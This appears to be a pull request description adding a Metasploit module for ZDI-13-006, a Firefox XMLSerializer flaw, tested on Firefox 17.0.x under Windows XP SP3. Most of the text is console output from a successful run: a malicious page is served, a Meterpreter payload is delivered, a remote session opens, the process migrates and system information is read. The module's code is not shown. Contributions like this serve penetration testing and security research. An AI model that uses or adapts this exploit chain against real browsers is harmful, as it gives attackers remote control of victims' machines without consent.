Add module for ZDI-13-006

Was reviewing the case and decided to wrote the MSF module. Exploits ZDI-13-006, tested on Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP SP3. All the credits go to regenrecht, I just was impressed with his work:


```
msf exploit(mozilla_firefox_xmlserializer) > 
[*] 10.6.0.165       mozilla_firefox_xmlserializer - URI /lXx3ifY41Pnpzd requested...
[*] 10.6.0.165       mozilla_firefox_xmlserializer - Sending HTML
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 3 opened (10.6.0.165:4444 -> 10.6.0.165:53132) at 2013-08-22 18:13:37 -0500
[*] Session ID 3 (10.6.0.165:4444 -> 10.6.0.165:53132) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: firefox.exe (1492)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2388

[+] Successfully migrated to process 
msf exploit(mozilla_firefox_xmlserializer) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 10.6.0.165 - Meterpreter session 3 closed.  Reason: User exit

```